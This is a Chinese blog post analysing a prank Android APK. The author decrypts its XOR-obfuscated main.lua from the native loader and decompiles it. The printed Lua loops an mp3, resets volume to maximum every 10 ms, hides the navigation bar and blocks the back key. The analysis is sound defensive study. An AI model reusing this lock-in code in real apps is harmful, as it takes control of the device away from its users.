本次记录一下本菜鸡小小的分析这个送给最好的TA
我是直接暴力把 apk 后缀改成 zip 后打开的,没想到大佬们可以发现这个神奇的网站进行拆包,学到了,但是要关闭屏蔽广告的插件,毕竟不能靠爱发电
然后我就开始研究 classes.dex 源码了,先把 dex 转成 jar ,然后用jd-gui一顿 xjb 分析,大致看了一下有一个获取路径
public String getLuaPath()
{
initMain();
StringBuilder localStringBuilder = new StringBuilder();
localStringBuilder.append(getLocalDir());
localStringBuilder.append("/main.lua");
return localStringBuilder.toString();
}
用到了 lua ~~~ ,程序对 lua 进行加载和解密,进入com\androlua\LuaActivity.class
,一个public Object loadLib(String paramString)
使用 jni 加载 so 文件,之后就开始了 so 文件的排查解密函数
我目前的思路就是通过排查 so 进而解出 main.lua 了,如果 main.lua 没什么问题就是 java 写的了
通过几个关键函数如luaL_loadstring
,我们最终定位到了j_luaL_loadbufferx
int __fastcall luaL_loadbufferx(int a1, int a2, size_t size, int a4, int a5)
{
int v5; // r10
size_t v6; // r6
int v7; // r11
int v8; // r8
_BYTE *v9; // r0
int v10; // r1
signed int v11; // r2
_BYTE *v13; // [sp+8h] [bp-28h]
size_t v14; // [sp+Ch] [bp-24h]
v5 = a1;
v6 = size;
v7 = a2;
v8 = a4;
v13 = (_BYTE *)a2;
v14 = size;
if ( *(_BYTE *)a2 == 27 && *(_BYTE *)(a2 + 1) != 76 )
{
v9 = malloc(size);
if ( v6 )
{
*v9 = 27;
if ( v6 != 1 )
{
v10 = 0;
v11 = 1;
do
{
v10 += v6;
v9[v11] = *(_BYTE *)(v7 + v11) ^ (v10
+ ((unsigned int)(((unsigned __int64)(-2139062143LL * v10) >> 32) + v10) >> 7)
+ ((signed int)(((unsigned __int64)(-2139062143LL * v10) >> 32) + v10) < 0));
++v11;
}
while ( v6 != v11 );
}
}
v13 = v9;
}
return ((int (__fastcall *)(int, int (*)(), _BYTE **, int, int))j_lua_load)(v5, sub_E6AA, &v13, v8, a5);
}
我们发现逻辑其实十分清晰,只有一行关键加密,我们把文件加载进来,然后顺着整个脚本就能把 lua 解密成字节码形式了,卧槽,看见大佬直接 dump 出来了,真是orz
v9[v11] = *(_BYTE *)(v7 + v11) ^ (v10
+ ((unsigned int)(((unsigned __int64)(-2139062143LL * v10) >> 32) + v10) >> 7)
+ ((signed int)(((unsigned __int64)(-2139062143LL * v10) >> 32) + v10) < 0));
其中v11
为下标,v6 = size;
,v9
则为原字节,下面就得想了,之前 a2 把值赋给了 v7 ,同时判断 a2==27 ,我们断定这只能是原字节,然后剩下的就能写出脚本了
uint8_t *decode(uint8_t *data, int size) {
uint8_t *real = malloc(size);
*real = 27;
v10 = 0;
v11 = 1;
do
{
v10 += size;
real[v11] = date[v11] ^ (v10
+ ((unsigned int)(((unsigned __int64)(-2139062143LL * v10) >> 32) + v10) >> 7)
+ ((signed int)(((unsigned __int64)(-2139062143LL * v10) >> 32) + v10) < 0));
++v11;
}
while ( size != v11 );
return real;
然后我们可以拿着这个函数去解密了,但是我发现我把 buf 读出来怎么少了一截??只好从网上 dang 了点东西,整出来解密后的东西后我就开始了反编译之路,找了好多软件都不好用,不是报错就是嫌这个 lua 版本太新,最后终于找到了unluac
java -jar unluac_2015_06_13.jar main.lua > main_real.lua
终于完事了
require("import")
import("android.app.*")
import("android.os.*")
import("android.widget.*")
import("android.view.*")
import("android.view.View")
import("android.content.Context")
import("android.media.MediaPlayer")
import("android.media.AudioManager")
import("com.androlua.Ticker")
activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI)
activity.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_IMMERSIVE)
m = MediaPlayer()
m.reset()
m.setDataSource(activity.getLuaDir() .. "/0.mp3")
m.prepare()
m.start()
m.setLooping(true) //单曲循环,真狠啊你是
ti = Ticker()
ti.Period = 10
function ti.onTick() //重写点击
activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI)
activity.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_IMMERSIVE)
end
ti.start()
function onKeyDown(A0_0, A1_1)
if string.find(tostring(A1_1), "KEYCODE_BACK") ~= nil then //KEYCODE_BACK返回按键
activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI)
end
return true
end
可以看到 lua 只是找到了 0.mp3 ,之后疯狂循环,并且瞎写控制函数,然后就没有然后了,咱也不知道 java 里有没有瞎写, app 分析实在太难了~~